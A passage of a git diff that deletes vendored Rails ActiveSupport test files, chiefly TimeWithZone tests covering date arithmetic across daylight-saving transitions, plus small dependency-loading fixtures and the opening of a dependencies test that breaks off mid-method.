-    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.advance(:minutes => 15).inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.advance(:seconds => 30).inspect
-  end
-
-  def beginning_of_year
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 01 Jan 1999 00:00:00 EST -05:00", @twz.beginning_of_year.inspect
-  end
-
-  def end_of_year
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_year.inspect
-  end
-
-  def beginning_of_month
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
-  end
-
-  def end_of_month
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_month.inspect
-  end
-
-  def beginning_of_day
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_day.inspect
-  end
-
-  def end_of_day
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_day.inspect
-  end
-
-  def test_since
-    assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
-  end
-
-  def test_ago
-    assert_equal "Fri, 31 Dec 1999 18:59:59 EST -05:00", @twz.ago(1).inspect
-  end
-
-  def test_seconds_since_midnight
-    assert_equal 19 * 60 * 60, @twz.seconds_since_midnight
-  end
-
-  def test_advance_1_year_from_leap_day
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2004,2,29))
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(:years => 1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.years_since(1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.year).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.year).inspect
-  end
-
-  def test_advance_1_month_from_last_day_of_january
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2005,1,31))
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(:months => 1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.month).inspect
-  end
-
-  def test_advance_1_month_from_last_day_of_january_during_leap_year
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000,1,31))
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.advance(:months => 1).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", (twz + 1.month).inspect
-  end
-
-  def test_advance_1_month_into_spring_dst_gap
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,3,2,2))
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(:months => 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.months_since(1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.month).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.month).inspect
-  end
-
-  def test_advance_1_second_into_spring_dst_gap
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,1,59,59))
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(:seconds => 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.second).inspect
-  end
-
-  def test_advance_1_day_across_spring_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
-    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
-    # When we advance 1 day, we want to end up at the same time on the next day
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.advance(:days => 1).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.since(1.days).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", (twz + 1.days).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.since(1.days + 1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", (twz + 1.days + 1.second).inspect
-  end
-
-  def test_advance_1_day_across_spring_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,10,30))
-    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
-    # When we advance back 1 day, we want to end up at the same time on the previous day
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:days => -1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.days).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.days).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:01 EST -05:00", twz.ago(1.days - 1.second).inspect
-  end
-
-  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
-    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
-    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400.seconds).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400.seconds).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:seconds => 86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 1440.minutes).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(1440.minutes).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:minutes => 1440).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 24.hours).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(24.hours).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:hours => 24).inspect
-  end
-
-  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,11,30))
-    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
-    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400.seconds).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400.seconds).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:seconds => -86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1440.minutes).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1440.minutes).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:minutes => -1440).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 24.hours).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(24.hours).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:hours => -24).inspect
-  end
-
-  def test_advance_1_day_across_fall_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
-    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
-    # When we advance 1 day, we want to end up at the same time on the next day
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.advance(:days => 1).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.since(1.days).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", (twz + 1.days).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.since(1.days + 1.second).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", (twz + 1.days + 1.second).inspect
-  end
-
-  def test_advance_1_day_across_fall_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,10,30))
-    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
-    # When we advance backwards 1 day, we want to end up at the same time on the previous day
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:days => -1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.days).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.days).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:01 EDT -04:00", twz.ago(1.days - 1.second).inspect
-  end
-
-  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
-    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
-    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400.seconds).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400.seconds).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:seconds => 86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 1440.minutes).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(1440.minutes).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:minutes => 1440).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 24.hours).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(24.hours).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(:hours => 24).inspect
-  end
-
-  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,9,30))
-    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
-    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400.seconds).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400.seconds).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:seconds => -86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1440.minutes).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1440.minutes).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:minutes => -1440).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 24.hours).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(24.hours).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:hours => -24).inspect
-  end
-
-  def test_advance_1_month_across_spring_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.advance(:months => 1).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.months_since(1).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.since(1.month).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", (twz + 1.month).inspect
-  end
-
-  def test_advance_1_month_across_spring_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,5,1,10,30))
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:months => -1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.months_ago(1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.month).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.month).inspect
-  end
-
-  def test_advance_1_month_across_fall_dst_transition
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.advance(:months => 1).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", (twz + 1.month).inspect
-  end
-
-  def test_advance_1_month_across_fall_dst_transition_backwards
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,11,28,10,30))
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:months => -1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.months_ago(1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.month).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.month).inspect
-  end
-
-  def test_advance_1_year
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008,2,15,10,30))
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.advance(:years => 1).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.years_since(1).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", (twz + 1.year).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.advance(:years => -1).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.years_ago(1).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", (twz - 1.year).inspect
-  end
-
-  def test_advance_1_year_during_dst
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008,7,15,10,30))
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.advance(:years => 1).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.years_since(1).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", (twz + 1.year).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.advance(:years => -1).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.years_ago(1).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", (twz - 1.year).inspect
-  end
-  
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
-
-class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
-  def setup
-    @t, @dt = Time.utc(2000), DateTime.civil(2000)
-  end
-
-  def teardown
-    Time.zone = nil
-  end
-
-  def test_in_time_zone
-    Time.use_zone 'Alaska' do
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect
-    end
-    Time.use_zone 'Hawaii' do
-      assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect
-      assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect
-    end
-    Time.use_zone nil do
-      assert_equal @t, @t.in_time_zone
-      assert_equal @dt, @dt.in_time_zone
-    end
-  end
-
-  def test_in_time_zone_with_argument
-    Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect
-      assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect
-      assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect
-      assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect
-      assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect
-    end
-  end
-
-  def test_in_time_zone_with_time_local_instance
-    with_env_tz 'US/Eastern' do
-      time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
-      assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect
-    end
-  end
-
-  def test_use_zone
-    Time.zone = 'Alaska'
-    Time.use_zone 'Hawaii' do
-      assert_equal ActiveSupport::TimeZone['Hawaii'], Time.zone
-    end
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-  end
-
-  def test_use_zone_with_exception_raised
-    Time.zone = 'Alaska'
-    assert_raise RuntimeError do
-      Time.use_zone('Hawaii') { raise RuntimeError }
-    end
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-  end
-
-  def test_time_zone_getter_and_setter
-    Time.zone = ActiveSupport::TimeZone['Alaska']
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-    Time.zone = 'Alaska'
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-    Time.zone = -9.hours
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-    Time.zone = nil
-    assert_equal nil, Time.zone
-  end
-
-  def test_time_zone_getter_and_setter_with_zone_default
-    Time.zone_default = ActiveSupport::TimeZone['Alaska']
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-    Time.zone = ActiveSupport::TimeZone['Hawaii']
-    assert_equal ActiveSupport::TimeZone['Hawaii'], Time.zone
-    Time.zone = nil
-    assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
-  ensure
-    Time.zone_default = nil
-  end
-
-  def test_time_zone_setter_is_thread_safe
-    Time.use_zone 'Paris' do
-      t1 = Thread.new { Time.zone = 'Alaska' }.join
-      t2 = Thread.new { Time.zone = 'Hawaii' }.join
-      assert t1.stop?, "Thread 1 did not finish running"
-      assert t2.stop?, "Thread 2 did not finish running"
-      assert_equal ActiveSupport::TimeZone['Paris'], Time.zone
-      assert_equal ActiveSupport::TimeZone['Alaska'], t1[:time_zone]
-      assert_equal ActiveSupport::TimeZone['Hawaii'], t2[:time_zone]
-    end
-  end
-
-  def test_time_zone_setter_with_tzinfo_timezone_object_wraps_in_rails_time_zone
-    tzinfo = TZInfo::Timezone.get('America/New_York')
-    Time.zone = tzinfo
-    assert_kind_of ActiveSupport::TimeZone, Time.zone
-    assert_equal tzinfo, Time.zone.tzinfo
-    assert_equal 'America/New_York', Time.zone.name
-    assert_equal(-18_000, Time.zone.utc_offset)
-  end
-
-  def test_time_zone_setter_with_tzinfo_timezone_identifier_does_lookup_and_wraps_in_rails_time_zone
-    Time.zone = 'America/New_York'
-    assert_kind_of ActiveSupport::TimeZone, Time.zone
-    assert_equal 'America/New_York', Time.zone.tzinfo.name
-    assert_equal 'America/New_York', Time.zone.name
-    assert_equal(-18_000, Time.zone.utc_offset)
-  end
-
-  def test_time_zone_setter_with_non_identifying_argument_returns_nil
-    Time.zone = 'foo'
-    assert_equal nil, Time.zone
-    Time.zone = -15.hours
-    assert_equal nil, Time.zone
-  end
-
-  def test_current_returns_time_now_when_zone_default_not_set
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      assert_equal false, Time.current.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(2000), Time.current
-    end
-  end
-
-  def test_current_returns_time_zone_now_when_zone_default_set
-    Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:now).returns Time.local(2000)
-      assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
-      assert_equal Time.utc(2000), Time.current.time
-    end
-  ensure
-    Time.zone_default = nil
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb b/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb
deleted file mode 100644
index 0837d3cb..00000000
--- a/vendor/rails/activesupport/test/core_ext/uri_ext_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'abstract_unit'
-require 'uri'
-
-class URIExtTest < Test::Unit::TestCase
-  def test_uri_decode_handle_multibyte
-    str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
-    str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding)
-
-    assert_equal str, URI.unescape(URI.escape(str))
-    assert_equal str, URI.decode(URI.escape(str))
-  end
-end
diff --git a/vendor/rails/activesupport/test/dependencies/check_warnings.rb b/vendor/rails/activesupport/test/dependencies/check_warnings.rb
deleted file mode 100644
index 03c3dca1..00000000
--- a/vendor/rails/activesupport/test/dependencies/check_warnings.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-$check_warnings_load_count += 1
-$checked_verbose = $VERBOSE
diff --git a/vendor/rails/activesupport/test/dependencies/conflict.rb b/vendor/rails/activesupport/test/dependencies/conflict.rb
deleted file mode 100644
index e888b7b5..00000000
--- a/vendor/rails/activesupport/test/dependencies/conflict.rb
+++ /dev/null
@@ -1 +0,0 @@
-Conflict = 1
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/dependencies/cross_site_depender.rb b/vendor/rails/activesupport/test/dependencies/cross_site_depender.rb
deleted file mode 100644
index a31015fc..00000000
--- a/vendor/rails/activesupport/test/dependencies/cross_site_depender.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class CrossSiteDepender
-  CrossSiteDependency
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/dependencies/mutual_one.rb b/vendor/rails/activesupport/test/dependencies/mutual_one.rb
deleted file mode 100644
index 576eb317..00000000
--- a/vendor/rails/activesupport/test/dependencies/mutual_one.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-$mutual_dependencies_count += 1
-require_dependency 'mutual_two'
-require_dependency 'mutual_two.rb'
-require_dependency 'mutual_two'
diff --git a/vendor/rails/activesupport/test/dependencies/mutual_two.rb b/vendor/rails/activesupport/test/dependencies/mutual_two.rb
deleted file mode 100644
index fdbc2dcd..00000000
--- a/vendor/rails/activesupport/test/dependencies/mutual_two.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-$mutual_dependencies_count += 1
-require_dependency 'mutual_one.rb'
-require_dependency 'mutual_one'
-require_dependency 'mutual_one.rb'
diff --git a/vendor/rails/activesupport/test/dependencies/raises_exception.rb b/vendor/rails/activesupport/test/dependencies/raises_exception.rb
deleted file mode 100644
index dd745ac2..00000000
--- a/vendor/rails/activesupport/test/dependencies/raises_exception.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-$raises_exception_load_count += 1
-raise Exception, 'Loading me failed, so do not add to loaded or history.'
-$raises_exception_load_count += 1
diff --git a/vendor/rails/activesupport/test/dependencies/requires_nonexistent0.rb b/vendor/rails/activesupport/test/dependencies/requires_nonexistent0.rb
deleted file mode 100644
index 7e24b391..00000000
--- a/vendor/rails/activesupport/test/dependencies/requires_nonexistent0.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'RMagickDontExistDude'
diff --git a/vendor/rails/activesupport/test/dependencies/requires_nonexistent1.rb b/vendor/rails/activesupport/test/dependencies/requires_nonexistent1.rb
deleted file mode 100644
index 41e66681..00000000
--- a/vendor/rails/activesupport/test/dependencies/requires_nonexistent1.rb
+++ /dev/null
@@ -1 +0,0 @@
-require_dependency 'requires_nonexistent0'
diff --git a/vendor/rails/activesupport/test/dependencies/service_one.rb b/vendor/rails/activesupport/test/dependencies/service_one.rb
deleted file mode 100644
index f43bfea2..00000000
--- a/vendor/rails/activesupport/test/dependencies/service_one.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-$loaded_service_one ||= 0
-$loaded_service_one += 1
-
-class ServiceOne
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/dependencies/service_two.rb b/vendor/rails/activesupport/test/dependencies/service_two.rb
deleted file mode 100644
index 5205a78b..00000000
--- a/vendor/rails/activesupport/test/dependencies/service_two.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ServiceTwo
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/dependencies_test.rb b/vendor/rails/activesupport/test/dependencies_test.rb
deleted file mode 100644
index f7968287..00000000
--- a/vendor/rails/activesupport/test/dependencies_test.rb
+++ /dev/null
@@ -1,789 +0,0 @@
-require 'abstract_unit'
-require 'pp'
-
-module ModuleWithMissing
-  mattr_accessor :missing_count
-  def self.const_missing(name)
-    self.missing_count += 1
-    name
-  end
-end
-
-module ModuleWithConstant
-  InheritedConstant = "Hello"
-end
-
-class DependenciesTest < ActiveSupport::TestCase
-  def teardown
-    ActiveSupport::Dependencies.clear
-  end
-
-  def with_loading(*from)
-    old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
-    this_dir = File.dirname(__FILE__)
-    parent_dir = File.dirname(this_dir)
-    $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
-    prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
-    ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
-    yield
-  ensure
-    ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
-    ActiveSupport::Dependencies.mechanism = old_mechanism
-    ActiveSupport::Dependencies.explicitly_unloadable_constants = []
-  end
-
-  def with_autoloading_fixtures(&block)
-    with_loading 'autoloading_fixtures', &block
-  end
-
-  def test_tracking_loaded_files
-    require_dependency 'dependencies/service_one'
-    require_dependency 'dependencies/service_two'
-    assert_equal 2, ActiveSupport::Dependencies.loaded.size
-  end
-
-  def test_tracking_identical_loaded_files
-    require_dependency 'dependencies/service_one'
-    require_dependency 'dependencies/service_one'
-    assert_equal 1, ActiveSupport::Dependencies.loaded.size
-  end
-
-  def test_missing_dependency_raises_missing_source_file
-    assert_raise(MissingSourceFile) { require_dependency("missing_service") }
-  end
-
-  def test_missing_association_raises_nothing
-    assert_nothing_raised { require_association("missing_model") }
-  end
-
-  def test_dependency_which_raises_exception_isnt_added_to_loaded_set
-    with_loading do
-      filename = 'dependencies/raises_exception'
-      $raises_exception_load_count = 0
-
-      5.times do |count|
-        begin
-          require_dependency filename
